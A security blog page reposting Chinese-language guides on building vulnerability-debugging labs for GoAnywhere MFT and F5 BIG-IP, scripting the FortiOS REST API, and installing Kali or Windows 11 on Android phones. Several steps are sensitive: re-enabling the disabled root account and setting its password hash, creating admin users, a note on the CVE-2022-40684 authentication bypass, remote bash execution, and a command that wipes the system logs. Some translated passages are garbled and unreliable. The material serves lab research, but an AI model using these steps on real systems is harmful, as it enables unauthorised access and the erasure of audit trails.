Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109309

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言本文記錄從零開始搭建GoAnywhere Managed File Transfer漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

GoAnywhere Managed File Transfer安裝

GoAnywhere Managed File Transfer漏洞調試環境配置

數據庫操作

0x02 GoAnywhere Managed File Transfer安裝參考資料:https://static.fortra.com/goanywhere/pdfs/guides/ga6_8_6_installation_guide.pdf

下載地址:https://www.goanywhere.com/products/goanywhere-free/download

需要註冊賬號獲得license

GoAnywhere Managed File Transfer可以分別安裝在Windows和Linux操作系統

Windows系統下默認的Web路徑:C:\Program Files\HelpSystems\GoAnywhere\tomcat\webapps\ROOT

Linux系統下默認的Web路徑:/usr/local/HelpSystems/GoAnywhere/tomcat/webapps/ROOT

1.開啟遠程調試功能通過開啟Tomcat調試功能來實現,開啟Tomcat調試功能的方法如下:

切換至bin目錄

執行命令:catalina jpda start

Tomcat調試功能開啟後默認監聽本地8000端口

對於GoAnywhere Managed File Transfer,開啟調試功能的方法如下:

(1)Windows下調試

修改文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe的文件屬性

雙擊文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe,切換到Java標籤頁,在Java Optinos添加:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8090,如下圖

重啟服務GoAnywhere

(2)Linux調試

修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/start_tomcat.sh,將exec '$PRGDIR'/'$EXECUTABLE' start '$@'修改為exec '$PRGDIR'/'$EXECUTABLE' jpda start '$@'

修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/goanywhere_catalina.sh,將JPDA_ADDRESS='localhost:8000'修改為JPDA_ADDRESS='*:8090'

注:

Tomcat默認的調試端口8000同GoAnywhere Managed File Transfer的Web端口衝突,所以這裡選擇修改Tomcat默認的調試端口為8090

打開防火牆允許外部訪問8090端口:iptables -I INPUT -p tcp --dport 8090 -j ACCEPT

啟動GoAnywhere進程:/opt/HelpSystems/GoAnywhere/goanywhere.sh start

0x03 數據庫操作GoAnywhere Managed File Transfer使用Apache Derby數據庫

Windows下默認數據庫存儲位置為:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

Linux下默認數據庫存儲位置為:/opt/HelpSystems/GoAnywhere/userdata/database/goanywhere/

數據庫操作的實現細節可從lib文件夾下的ga_classes.jar獲得

從中我們可以得到Web用戶口令加密的實現細節,對應位置:C:\Program Files\HelpSystems\GoAnywhere\lib\ga_classes.jar!\com\linoma\ga\ui\admin\action\user\ChangeUserPasswordAction.class

提取出的Java實現代碼如下:

1.png

1.讀取Derby數據庫(1)命令行實現

使用Apache Derby,下載地址:https://archive.apache.org/dist/db/derby/db-derby-10.14.2.0/db-derby-10.14.2.0-bin.zip

運行bin目錄下的ij.bat

連接數據庫:connect 'jdbc:derby:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere;';

查詢用戶配置:SELECT * FROM DPA_USER;

(2)界面化實現

使用DBSchema,下載地址:https://dbschema.com/download.html

啟動DBSchema後,選擇連接Derby數據庫,JDBC Driver選擇derbytools.jar org.apache.derby.jdbc.EmbeddedDriver,Folder選擇C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

查詢用戶數據表,如下圖

下载.png

可以看到默認用戶有以下三個:

Administrator,未啟用

root,未啟用

admin,默認用戶

2.修改數據庫GoAnywhere Managed File Transfer的Derby數據庫使用了內嵌模式,其他應用程序不可訪問,所以有以下兩種修改數據的方法:

(1)GoAnywhere Managed File Transfer處於運行狀態

可以通過寫入jsp文件實現數據庫的修改

(2)GoAnywhere Managed File Transfer處於關閉狀態

可以選擇Apache Derby或DBSchema打開數據庫文件夾,直接進行修改

修改數據庫的命令示例:

啟用root用戶:UPDATE APP.DPA_USER SET ENABLED='1' WHERE USER_NAME='root';

設置root用戶口令:UPDATE APP.DPA_USER SET USER_PASS='$5$mpoe6zI4B6+LHRMdbFKr8g==$RnAILbYe9KDauKE3wXTFVvlXQNZeM4Z2c7x1aEtME/U=' WHERE USER_NAME='root';

0x04 小結在我們搭建好GoAnywhere Managed File Transfer漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00 前言本文將要介紹FortiOS REST API的相關用法,分享開發的實現細節。

0x01簡介本文將要介紹以下內容:

強化環境聽力

FortiOS REST API 方式登錄

常用操作

常用功能

0x02 Fortigate環境這里以Fortigate作為FortiOS REST API的測試環境,安裝FortiGate for VMware

參考資料:https://getlabsdone.com/how-to-install-fortigate-on-vmware-workstation/

1.下載FortiGate for VMware安裝包下載地址:https://support.fortinet.com/

選擇Support-VMImages,選擇產品:FortiGate,選擇平台:VMWare ESXi

注:

7.2之前的版本可以使用15天,7.2之後的版本需要賬號註冊

2.導入ova文件打開FortiGate-VM64.ova導入VMWare

3.配置網卡3個網卡,我們只需要保留3個,刪掉後面的107個,默認3個網卡的具體配置如下:

(1)管理網卡

點擊VMware workstation-Edit-Virtual Network Editor點擊Change settings,點擊Add Network.選擇VMnet2,選擇,Type選擇Host-only,DHCP選擇Enabled

如下圖

1.png

商業網卡設置成VMnet2

(2)WAN網卡

設置成bridged

(3)局域網網卡

選擇network adapter 3,點擊LAN Segments.點擊Add,命名為Fortigate LAN

網卡設置成LAN segment,選擇Fortigate LAN

最終配置成圖

2.png4.開啟虛擬機用戶名:admin職位,為默認空

查看激活狀態的命令:get system status

查看ip的命令:diagnose ip address list

得到管理網卡的ip為192.168.23.128

5.訪問網頁管理頁面地址為:http://192.168.23.128

0x03 FortiOS REST API 登錄方式參考資料:https://www.used.net.ua/index.php/fajlovyj-arkhiv/category/35-fortinet.html?download=83:fortios-5-6-11-rest-api-reference

FortiOS REST API支持以下類型登錄:

1.使用admin用戶登錄需要管理員用戶admin的明文,不需要額外的配置

通過訪問訪問https://

需要注意的是,使用管理員用戶登錄結束後需要進行訪問https://

Python示例代碼如下:

3.png 4.png

代碼實現以下三個功能:

管理員用戶信息,查詢成功

REST API用戶信息,查詢成功

查詢配置文件信息,查詢成功

2.使用API密鑰參考資料:https://docs.fortinet.com/document/forticonverter/6.0.2/online-help/866905/connect-fortigate-device-via-api-token

需要額外創建配置文件和用戶,生成API密鑰

(1)創建配置文件

登錄網頁管理頁面,選擇System-Admin Profiles-Create New

Name設置為api_admin

將所有權限均設置為Read/Write

(2)創建用戶

選擇System-Administrators-Create New-REST API Admin

Username設置為api_user

Administrator profile設置為api_admin

自動生成API 密鑰,測試環境得到的結果為r3h53QbtrmNtdk0HH5qwnw8mkcmnt7

API key有以下使用方式:

作為URL 的參數使用,示例:access_token=r3h53QbtrmNtdk0HH5qwnw8mkcmnt7

標題中,示例:'Authorization': 'Bearer r3h53QbtrmNtdk0HH5qwnw8mkcmnt7'

Python示例代碼如下:

5.png

代碼實現以下三個功能:

管理員用戶信息,查詢失敗

REST API用戶信息,查詢成功

查詢配置文件信息,查詢成功

補充:通過漏洞(CVE-2022-40684)可屏蔽身份認證Python示例代碼如下:

6.png 7.png

代碼實現以下三個功能:

管理員用戶信息,查詢成功

REST API用戶信息,查詢成功

查詢配置文件信息,查詢成功

0x04 常用操作1. 調試輸出為了方便調試,可以在cli執行以下命令:

8.png

一分鐘在cli輸出調試信息3

如下圖

9.png

2.文件打包可提取使用掛載vmdk的方式加載文件,逆向分析REST API的實現

破解方法: https://www.horizontal-fortiswitchmanager-460-dive-cve-2022-484 /

3.增刪改查操作讀取內容使用GET方法

新建內容使用POST方法

修改內容使用PUT方法

刪除內容使用DELETE方法

0x05 常用功能1.創建本地用戶需要訪問/api/v2/cmdb/user/local,發送json數據

Python示例代碼如下:

10.png

2.添加防火牆需要訪問/api/v2/cmdb/firewall/policy,發送json數據

Python示例代碼如下:

11.png 12.png

3.導出所有配置通過訪問/api/v2/cmdb/system/admin導出用戶信息時,密碼項被加密,格式為'password':'ENC XXXX'

這裡可通過備份功能導出所有配置,獲得加密的用戶身份,訪問位置為/api/v2/monitor/system/config/backup?destination=filescope=global

Python示例代碼如下:

13.png

4.抓包需要完成以下操作:

新建抓包過濾器

開啟抓包過濾器

停止數據包捕獲過濾器

下載數據包

刪除數據包捕獲過濾器

Python示例代碼如下:

14.png 15.png

16.png

0x06 小結本文以Fortigate REST 的配置和介紹,介紹了FortiOS 的相關用法,為創建本地用戶、添加防火牆規則、導出所有的實現代碼。

0x00 前言本文記錄從零開始搭建F5 BIG-IP漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

F5 BIG-IP安裝

F5 BIG-IP漏洞調試環境配置

常用知識

0x02 F5 BIG-IP安裝1.下載OVA文件下載頁面:https://downloads.f5.com/esd/productlines.jsp

下載前需要先註冊用戶併申請激活碼,申請地址:http://www.f5.com/trial

2.安裝(1)在VMware Workstation中導入OVA文件

(2)設置用戶名口令

導入虛擬機後,需要輸入默認用戶名(root)和默認口令(deault),接著需要重設root用戶和admin用戶的口令

(3)配置

輸入ifconfig獲得IP,訪問https://ip ,使用admin用戶的憑據進行登錄

在配置頁面填入激活碼

在配置頁面可以配置開啟ssh允許通過ssh登錄

0x03 F5 BIG-IP漏洞調試環境配置配置文件的定位參考《CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现》

1.定位java進程查看進程:

psaux|grepjava如下圖

0e25481e601806d5a6a351e6e9de61b.png

定位進程pid 6324,jar包路徑/usr/share/java/rest

查看pid 6324的進程信息:

image.png

如下圖

522c09c544118cd8c3a780d50d2bbd2.png

定位文件/etc/bigstart/scripts/restjavad

修改JVM_OPTIONS,添加調試參數-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

2.定位服務查看所有服務的狀態:

systemctlstatus找到pid 6324對應的服務名稱runit.service

添加調試參數後需要重啟服務:

servicerunit.servicerestart查看參數是否修改:

psaux|grep8000如下圖

85dc2a39450cb5d3b70c0f97d911528.png

3.開啟防火牆在Web管理面板,依次選擇System - Platform - Security

添加規則,如下圖

3e86a25cf33071fd5c00afa2cea75ea.png

遠程調試成功,如下圖

a7cca7943be08e383a782521f06a5c0.png

使用tmsh查看防火牆規則,參考

https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/security/security_firewall_management-ip-rules.html

命令如下:

tmsh-c'list/securityfirewallmanagement-ip-rules'結果如下圖

63e0d996830ebe51a932a38deb288c0.png

4.常用jar包位置/usr/local/www/tmui/WEB-INF/lib/

/usr/share/java/rest

0x04 常用知識1.tmsh用法參考資料:

https://clouddocs.f5.com/api/tmsh/

https://clouddocs.f5.com/cli/tmsh-reference/latest/

(1)查看版本

tmshshow/sysversion(2)查看所有配置

分步操作:

tmsh

listall-properties

y一鍵操作:

echoy|tmsh-c'listall-properties'(3)查看用戶信息

分步操作:

tmsh

listauth一鍵操作:

tmsh-c'listauth'(4)創建管理員用戶(web和ssh登錄)

參考:https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/auth/auth_user.html

分步操作:

tmsh

createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}需要注意口令不能存在特殊字符

一鍵操作:

tmsh-c'createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}'(5)刪除用戶

分步操作:

tmsh

deleteauthusertest1一鍵操作:

tmsh-c'deleteauthusertest1'2.使用REST API執行命令需要管理員用戶名口令

訪問https://url /mgmt/tm/util/bash

能夠執行bash命令,獲得返回結果

代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/BIG-IP_RunBash.py

3.日誌相關(1)搜索帶有指定關鍵詞的日誌

grep-iRaaaaaaaa/var/log/(2)web管理後台同日誌文件的對應關係

審計日誌,位置System -Logs - audit,對應文件/var/log/audit

用戶登錄歷史記錄,位置Logins - History,對應文件/var/log/secure

(3)其他日誌位置

/var/log/restjavad-audit.0.log

/var/log/auditd/audit.log

/var/log/btmp

/var/log/wtmp

/var/log/lastlog

(4)查看web訪問日誌

journalctl/usr/bin/logger清除所有:

rm-rf/var/log/journal/*

systemctlrestartsystemd-journald0x05 小結在我們搭建好F5 BIG-IP漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00 前言Android滲透平台搭建的系列文章第三篇,介紹Android設備OnePlus6T上安裝Kali的兩種方法,記錄細節。

方法一:在Android系統安裝Kali NetHunter(2022.1)

方法二:在Win11系統安裝Linux子系統kali-linux

測試設備:OnePlus 6T 10g+256g 邁凱倫

測試設備系統:Android 11+Win11

0x01 簡介本文將要介紹以下內容:

在Android系統安裝Kali NetHunter(2022.1)

在Win11系統安裝Linux子系統kali-linux

0x02 在Android系統安裝Kali NetHunter(2022.1)流程可參考之前的文章《Android渗透平台搭建——在Nexus6P安装Kali NetHunter(2022.1)》

Win11切換至Android的方法:

開機時按音量+,選擇UEFI BootMenu,再選擇Reboot to other slot

1.下載文件(1)Kali NetHunter

需要Android版本10或Android版本11

OnePlus6T Android 11的下載地址:https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip

OnePlus6T Android 10的下載地址:https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-ten-kalifs-full.zip

(2)Magisk

下載頁面:https://github.com/topjohnwu/Magisk

這裡選擇Magisk-v21.4.zip,下載地址:https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip

(3)TWRP

下載頁面:https://twrp.me/oneplus/oneplus6t.html

下載地址:

https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img

https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip

下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip

twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP,twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP

2.安裝Kali NetHunter(1)進入Recovery模式

在開機狀態下,按住電源鍵,選擇恢復模式,進入Recovery模式

在TWRP頁面,選擇Install,我的OnePlus6T為Android 11,這裡選擇nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip

需要取消選擇Reboot after installation is complete避免安裝後自動重啟

經過漫長的等待,安裝成功

安裝Magisk-v21.4.zip

在TWRP頁面,選擇Install,選擇Magisk-v21.4.zip

安裝成功後選擇Reboot System

至此,Kali NetHunter安裝完成

在應用列表中,能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX

0x03 在Win11系統安裝Linux子系統kali-linuxAndroid切換至Win11的方法:

進入Recovery模式,在TWRP中,選擇Reboot - SlotB

進入Win11系統後,可選擇在微軟商店搜索kali進行安裝,具體流程如下:

1.開啟子系統LinuxPowershell:

Enable-WindowsOptionalFeature-Online-FeatureNameMicrosoft-Windows-Subsystem-Linux安裝完會提示需要重啟操作系統

2.在微軟商店搜索kali並安裝安裝後直接啟動kali會報錯0x80370102,這裡需要手動設置wsl版本為1

wsl命令可參考:https://docs.microsoft.com/en-us/windows/wsl/basic-commands

3.設置wsl版本為1命令如下:

wsl--set-default-version1查看已安裝系統的命令如下:

wsl--list--verbose返回結果能看到kali-linux

4.配置Kali默認登錄用戶設置默認登錄用戶為root的命令如下:

kaliconfig--default-userroot配置root用戶密碼,命令如下:

kali

passwdroot

toor

toor5.更新kalisudoaptupdatesudoaptupgrade-y如果無法更新,可以修改成國內的源

sudovi/etc/apt/sources.list添加:

debhttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib

deb-srchttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib6.安裝Kali GUI本地Win11可通過遠程桌面連接至Kali

首先在命令行輸入kali進入kali控制台

(1)安裝kali-desktop-xfce

sudoaptinstallkali-desktop-xfce-y(2)安裝xrdp

sudoaptinstallxrdp-y(3)修改端口為3390

sed-i's/port=3389/port=3390/g'/etc/xrdp/xrdp.ini(4)開啟服務

sudoservicexrdpstart(5)連接遠程桌面

mstsc

127.0.0.1:3390補充:常見問題

(1)修改kali分辨率

在kali中依次選擇Settings - Appearance - Settings - Window Scaling,改成2x

(2)無法打開命令行終端,提示:Failed to execute default Terminal Emulator. Input/output error.

先安裝xfce的終端:

sudoaptinstallxfce4-terminal在kali中依次選擇Settings - Settings Manager - DefaultApplications - Utilities,將設置Terminal Emulator設置為Xfce Terminal

(3)Win11重啟後重新連接kali的遠程桌面

需要先開啟服務xrdp:

sudoservicexrdprestart(4)Win11 Linux子系統重啟

netstopLxssManager

netstartLxssManager(5)安裝msfconsole

sudoaptinstallmetasploit-framework(6)啟動msfconsole

需要在Windows Defender中添加排除目錄:\\wsl.localhost\kali-linux

0x04 小結本文將介紹了在Android設備OnePlus6T上安裝Kali的兩種方法。驍龍845處理器的設備可以選擇安裝Win11再安裝Kali,其他Android設備可選擇安裝Kali NetHunter。

0x00 前言Android滲透平台搭建的系列文章第二篇,介紹Android設備OnePlus6T上安裝Win11操作系統的方法,記錄細節。

測試設備:OnePlus 6T 10g+256g 邁凱倫

簡單理解:採用驍龍845處理器的手機設備能夠安裝Arm版的Win11

完整資料:https://renegade-project.cn/#/README

參考資料:

http://www.oneplusbbs.com/thread-4446250-1.html

https://forum.renegade-project.org/t/6-windows/194

https://www.bilibili.com/video/BV1kM4y137bR

https://silime.gitee.io/2021/05/20/Windows10-on-arm64/

https://baijiahao.baidu.com/s?id=1721563590612500439wfr=spiderfor=pc

0x01 簡介本文將要介紹以下內容:

深度刷機的方法

安裝Win11的準備

安裝Win11的方法

0x02 深度刷機的方法這裡把深度刷機放在第一部分,是因為在刷機過程中很容易黑磚,只能通過深度刷機進行還原

在刷機過程中,錯誤的操作有可能導致手機無法開機,即9008 download模式,即常說的黑磚

這時只能通過深度刷機的方法重新刷入系統,也就是常說的救磚

救磚教程參考資料:http://www.oneplusbbs.com/thread-4446250-1.html

1.下載文件在救磚教程中提供的網盤進行下載

(1)9008驅動

網盤中的高通9008驅動(推薦).exe

(2)線刷救磚包

OnePlus 6T邁凱倫定製版有專用的救磚包,網盤中提供的邁凱倫救磚包是氧OS版,後續還需要升級成氫OS

(3)一加萬能工具包

如果無法識別OnePlus 6T,可以安裝一加萬能工具包- 驅動安裝- 黑磚驅動

(4)氫OS系統安裝包

文件列表如下圖

32248cbfef1073ee244c309280d3b33.png

2.安裝9008驅動運行高通9008驅動(推薦).exe

3.安裝底層驅動(1)在Windows系統打開設備管理器,位置:我的電腦-右鍵-管理,在計算機管理中選擇設備管理器

(2)OnePlus 6T在關機狀態下,同時按住音量+和音量-不放,通過USB數據線將OnePlus 6T連接Windows系統

等待Windows系統自動安裝驅動

在設備管理器中,查看”端口(COM和LPT)”,如果出現Qualcomm HS-USB QDLoader 9008(COM3)代表底層驅動安裝成功,如下圖

7cb03b8be5c8b3b8111276f5edd0fa8.png

(3)管理員身份運行MsmDownloadTool V4.0.exe

如下圖

7bf48519930d73be4ace5123ea5ee3d.png

點擊Start開始刷機,如下圖

c34845ce4b6c4fc6a9ec48273cb4f2d.png

等待一段時間,刷機成功,如下圖

ab8975133c552824319f4441f1950dc.png

OnePlus 6T會自動開機,進行初始化,默認安裝氧OS

4.刷入氫OS網盤中提供的邁凱倫救磚包是氧OS版,需要刷成氫OS,可以使用OnePlus 6T內置的本地升級功能

(1)將OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip複製到OnePlus 6T的根目錄

(2)在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級,選擇OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip

等待升級完成,點擊重啟手機

5.升級氫OS Android 10在OnePlus 6T上依次選擇設置- 系統- 系統更新,進行在線升級

在線升級後,最新版本為Android 11,在安裝Win11之前我們先需要降級到Android 10,可以採用以下方法進行降級:

下載降級包:https://download.h2os.com/OnePlus6T/Back/OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip

在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級,選擇OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip

補充:官方OnePlus 6T系統安裝包的下載地址:

https://www.oneplus.com/cn/support/softwareupgrade/details?code=PM1574150307705

注:

我也考慮過在氫OS Android 9進行卡刷直接升級到OS Android 10的方法和在氫OS Android 11進行卡刷直接降級到OS Android 10的方法,但是這兩種方法我在測試過程中失敗了,都是因為無法通過Bootloader模式安裝TWRP

0x03 安裝Win11的準備Windows系統只需要配置adb和fastboot,然後是一些文件的下載

1.adb和fastboot需要下載到Windows系統並配置環境變量

這裡可以選擇一鍵下載配置,下載地址:https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118

運行adb-setup-1.4.3.exe按照提示即可

2.TWRP下載下載頁面:https://twrp.me/oneplus/oneplus6t.html

下載地址:

https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img

https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip

下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip

twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP,twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP

3.parted下載Linux下的分區工具

源碼下載地址:https://alpha.gnu.org/gnu/parted/parted-3.3.52.tar.xz

需要手動編譯

也可以下載編譯好的文件:https://pwdx.lanzoux.com/iUgSEmkrlmh

下載得到文件parted

4.驅動下載項目頁面:https://github.com/edk2-porting/WOA-Drivers

一加6T的下載地址:https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz

下載得到文件fajita.tar.gz

5.UEFI固件下載項目地址:https://github.com/edk2-porting/edk2-sdm845

一加6T的下載地址:https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img

下載得到文件boot-fajita-10g.img

6.Win11鏡像下載下載arm版的Win11鏡像文件,解壓後將sources\install.wim複製提取出來

最終得到文件install.wim

7.Dism++下載項目地址:https://github.com/Chuyu-Team/Dism-Multi-language

下載地址:https://github.com/Chuyu-Team/Dism-Multi-language/releases/download/v10.1.1002.1/Dism++10.1.1002.1.zip

解壓縮得到文件夾Dism++10.1.1002.1

8.WinPE 下載在參考資料中的百度網盤中下載

解壓縮後的文件列表如下:

boot文件夾

efi文件夾

sources文件夾

bootmgr.efi文件

0x04 安裝Win11的方法1.解鎖Bootloader注:

解鎖Bootloader將擦除Android系統的所有數據

(1)啟動開發者選項

打開OnePlus 6T,依次選擇設置- 關於手機,多次點擊版本號可啟動開發者模式

(2)修改手機設置

依次選擇設置- 系統- 開發者選項,打開OEM解鎖、USB調試和高級重啟

按住電源鍵,選擇引導加載器,進入Bootloader模式,此時DEVICE STATE狀態為locked

(3)連接設備

通過USB數據線將OnePlus 6T連接Windows系統

(4)解鎖

Windows系統的命令行執行:

fastbootoemunlockOnePlus 6T用音量+選擇yes,按電源鍵進行確認

至此,解鎖完成。

解鎖操作將會清空所有數據,此時需要重新啟動開發者模式,打開USB調試和高級重啟

解鎖後每次開機會出現提示The bootloader is unlocked

2.刷入TWRP(1)進入Bootloader模式

在關機狀態下,同時按住電源鍵和音量-

也可以在開機狀態下,按住電源鍵,選擇引導加載器,進入Bootloader模式

此時DEVICE STATE狀態為unlocked

(2)連接設備

通過USB數據線將OnePlus 6T連接Windows系統

通過Windows系統命令行查看設備:

fastbootdevices能夠獲得回顯

(3)刷入TWRP

Windows系統的命令行執行:

fastbootboottwrp-3.6.1_9-0-fajita.img如下圖

fc7c97805c5a92c2a784eaeba8ad08f.png

等待OnePlus 6T啟動TWRP

3.分區進入TWRP後,將parted複製到OnePlus 6T的根目錄,將twrp-installer-3.6.1_9-0-fajita.zip複製到OnePlus 6T的根目錄

在TWRP中,安裝twrp-installer-3.6.1_9-0-fajita.zip,這是為了方便以後在進入Recovery模式會自動啟動TWRP

在TWRP中,選擇Reboot - Recovery,重新進入Recovery模式

此時可選擇兩種方式運行parted進行分區:

(1)通過Windows的命令行執行

adbshell

cp/sdcard/parted/sbin/

chmod755/sbin/parted

umount/dataumount/sdcard

parted/dev/block/sda(2)在OnePlus 6T的TWRP中直接操作

依次選擇Advanced - Terminal

cp/sdcard/parted/sbin/

chmod755/sbin/parted

umount/dataumount/sdcard

parted/dev/block/sda執行cp /sdcard/parted /sbin/的原因是因為在執行umount /sdcard後,無法訪問/sdcard下的文件

查看分區:

(parted)p刪除分區userdata:

(parted)rm17創建分區:

(parted)mkpartespfat326559MB7000MB

(parted)mkpartpefat327000MB17000MB

(parted)mkpartwinntfs17000MB200GB

(parted)mkpartuserdataext4200GB246GB我的環境下,esp對應的分區號為17,對應的命令如下:

(parted)set17espon在TWRP中,選擇Reboot - Recovery

4.格式化重新進入Recovery後依次選擇Advanced - Terminal,命令如下:

mkfs.fat-F32-s1/dev/block/by-name/pe

mkfs.fat-F32-s1/dev/block/by-name/esp

mkfs.ntfs-f/dev/block/by-name/win

mke2fs-text4/dev/block/by-name/userdata在TWRP中,選擇Reboot - Recovery,重新進入Recovery模式

5.掛載PE重新進入Recovery後,將以下文件複製到手機中:

install.wim,Win11 ISO文件中的sources\install.wim

boot,解壓自winpe

efi,解壓自winpe

sources,解壓自winpe

bootmgr.efi,解壓自winpe

Dism++10.1.1002.1

fajita,解壓自https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz

boot-fajita-10g.img,下載自https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img

文件如下圖

b0ddd6b3f270b56d8164fd12f1f4db7.png

注:

手機使用fat32格式,無法直接複製大於4G的文件,可以選擇將其複製到U盤中

選擇Advanced - Terminal,將文件複製到PE分區的命令如下:

mount/dev/block/by-name/pe/mnt

cp-r/sdcard/*/mnt6.切換分區,選擇Slot B在TWRP中,選擇Reboot - SlotB

7.啟動PE在TWRP中,選擇Install - Install Image - /mnt/boot-fajita-10g.img,刷入鏡像的分區選擇Boot

手機重啟後進入PE系統,在手機上接入鍵盤、鼠標和U盤

8.安裝Win11打開PE中的C:\Dism++10.1.1002.1\Dism++ARM64.exe

在Dism++的頁面,依次選擇文件- 釋放鏡像

第一個參數設置為install.wim

第二個參數安裝路徑設置為D盤

勾選添加引導

點擊確定

釋放完畢後需要修復引導,依次選擇工具箱- 修復引導

9.安裝Win11驅動在Dism++的頁面,依次選擇打開會話- 驅動管理- 添加驅動,選擇fajita文件夾即可

10.設置盤符我的環境下,esp對應的分區號為17,在PE中的CMD輸入以下命令:

diskpart

selectdisk0

listpart

selectpart17

assignletter=Y

exit打開Y盤確認是否成功創建文件夾EFI

11.關閉簽名驗證關閉簽名的命令如下:

bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}testsigningon

bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}nointegritycheckson關閉PE系統:

shutdown-s-t012.進入Win11按電源鍵進行開機,等待安裝即可

補充1:Win11切換至Android

開機時按音量+,選擇UEFI BootMenu,再選擇Reboot to other slot

補充2:Android切換至Win11

進入Recovery模式,在TWRP中,選擇Reboot - SlotB

0x05 小結本文介紹了在OnePlus6T上安裝Win11的完整方法。

0x00 前言Android滲透平台搭建的系列文章將要介紹在Android設備上搭建各種用於滲透的操作系統。

本文作為第一篇,將要介紹Android設備Nexus6P安裝Kali NetHunter的方法,記錄細節。

Kali NetHunter目前最新的版本為2022年1月,對於這個版本,還沒有一個完整的安裝指南。

0x01 簡介本文將要介紹以下內容:

Kali NetHunter的不同版本

Nexus6P安裝Kali NetHunter

0x02 Kali NetHunter的不同版本參考資料:

https://www.kali.org/docs/nethunter/

Kali NetHunter分為三個不同的版本:

NetHunter Rootless,不需要root,不需要TWRP,可以從https://store.nethunter.com/下載apk安裝,不支持Wifi和HID攻擊

NetHunter Lite,不需要root,需要TWRP,功能不完整

NetHunter,需要root,需要TWRP,只支持部分Android設備,功能最完整

為了能夠完整的體驗Kali NetHunter的功能,我們需要安裝NetHunter,支持的設備型號可參考:https://stats.nethunter.com/nethunter-images.html

這裡選取官方首推的低端設備Nexus6P (Oreo),介紹安裝方法

0x03 Nexus6P (Oreo)安裝Kali NetHunter基本概念:

adb:全稱Android Debug Bridge,用來調試設備

fastboot:常用功能為設備解鎖,刷寫img文件,格式化系統分區和運行img文件

TWRP:全稱Team Win Recovery Project,常用功能為刷機、備份和恢復

Magisk:常用功能為獲得root權限

總體流程如下:

1.開啟Nexus6P的OEM unlocking和USB debugging

2.使用adb進入Bootloder模式

3.使用fastboot刷入TWRP

4.通過TWRP安裝Android系統鏡像Oreo

5.通過TWRP安裝Kali NetHunter和Magisk

具體步驟如下:

1.下載文件(1)adb和fastboot

需要下載到Windows系統並配置環境變量

這裡可以選擇一鍵下載配置,下載地址:https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118

運行adb-setup-1.4.3.exe按照提示即可

(2)TWRP

下載頁面:https://dl.twrp.me/angler/

這裡選擇twrp-3.6.1_9-0-angler.img,下載地址:https://dl.twrp.me/angler/twrp-3.6.1_9-0-angler.img.html

將twrp-3.6.1_9-0-angler.img保存在Windows系統中,可通過fastboot刷入Nexus6P

(3)Oreo

Oreo是指Android 8的系統鏡像

下載頁面:https://developers.google.com/android/images

